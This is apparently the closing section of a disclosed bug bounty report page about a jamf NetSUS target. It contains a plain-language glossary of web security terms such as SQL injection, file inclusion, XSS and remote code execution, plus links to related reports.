  • JSON: a simple text format for structured data, made of names and values in curly braces.
  • LFI (local file inclusion): making a server include or return a local file it never meant to share.
  • Match and Replace: a Burp feature that swaps one piece of text for another automatically in traffic.
  • NetSUS: the jamf application that sat behind the login.
  • Open source: software whose full source code is published for anyone to read.
  • OS command: an instruction to the operating system, such as id or whoami.
  • Parameterised query: sending values to a database separately from the SQL sentence so they cannot be read as SQL.
  • Patch: an update file for software.
  • Path traversal: using .. in a file name to climb out of the intended folder.
  • Payload: the piece of text or code an attacker sends to trigger a bug.
  • PHP: a common programming language for websites.
  • PHPSESSID: the default name PHP gives to its session cookie.
  • POST request: a request that sends data to the server, typically from a form.
  • Proxy: a tool that sits between your browser and a site and lets you read and change traffic.
  • Query string: the part of a URL after ?, used to pass values to a script.
  • RCE (remote code execution): getting a server to run the attacker's own program.
  • Redirect: the server telling the browser to go to a different address.
  • RFI (remote file inclusion): fetching a file from a URL the attacker controls and using its content as code.
  • Sanitisation: cleaning input before using it.
  • Severity: a rough label for how serious a bug is, from low to critical.
  • Session cookie: a temporary ID that tells the server you are the same person as before.
  • SQL: the language used to ask a database questions.
  • SQL injection: slipping extra SQL into a value the program puts into a query.
  • SQLite: a small, file-based database engine.
  • Stored XSS: cross-site scripting where the malicious text is saved on the server and fires for every user who later views the page.
  • Subdomain: a smaller address under a company's main domain, such as shop.example.com.
  • Table: one grid of data inside a database, like a sheet in a spreadsheet.
  • UNION: SQL's way of stacking two queries into one result set.
  • URL encoding: writing characters that are not allowed in a web address as % codes.
  • VDP (vulnerability disclosure programme): a bug bounty programme where the reward is not always money.
  • Wordlist: a long list of likely names that an enumeration tool tries one by one.
  • XSS (cross-site scripting): a website letting an attacker's text be treated as code by a visitor's browser.
  • XMLHttpRequest: the browser feature that lets a page fetch another address in the background.

More by Bartłomiej Bergier

View all

11 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.